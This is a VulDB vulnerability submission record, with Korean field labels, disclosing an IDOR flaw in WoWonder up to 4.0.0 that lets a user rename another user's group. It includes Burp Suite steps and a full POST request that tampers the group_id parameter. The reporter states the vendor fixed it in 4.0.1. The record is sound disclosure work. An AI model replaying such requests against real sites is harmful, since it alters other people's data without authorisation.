| 제목 | Wowonder IDOR on Edit Group Name Feature |
|---|
| 설명 | Software: https://codecanyon.net/item/wowonder-the-ultimate-php-social-network-platform/13785302
Vendor: https://www.wowonder.com/
Summary: Attacker can edit group name even if it is not his own group. Only with group id
Proof of Concept:
1. Change group name and intercept using burpsuite
2. Edit group_id parameter to id victim group
Request
POST /requests.php?f=chat&s=edit_group HTTP/2
Host: demo.wowonder.com
Cookie: mycookie
Content-Length: 37
Sec-Ch-Ua: "Chromium";v="97", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.wowonder.com/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.wowonder.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
group_name=Takover&group_id=417&avatar=
I have reported to wowonder and it was fixed in version v4.0.1 |
|---|
| 원천 | ⚠️ https://youtu.be/b665r1ZfCg4 |
|---|
| 사용자 | fariqfgi (UID 24514) |
|---|
| 제출 | 2022. 03. 09. AM 07:13 (5 연령 ago) |
|---|
| 모더레이션 | 2022. 03. 13. PM 12:14 (4 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 194840 [Wowonder 까지 4.0.0 Group Name group_id 권한 상승] |
|---|
| 포인트들 | 17 |
|---|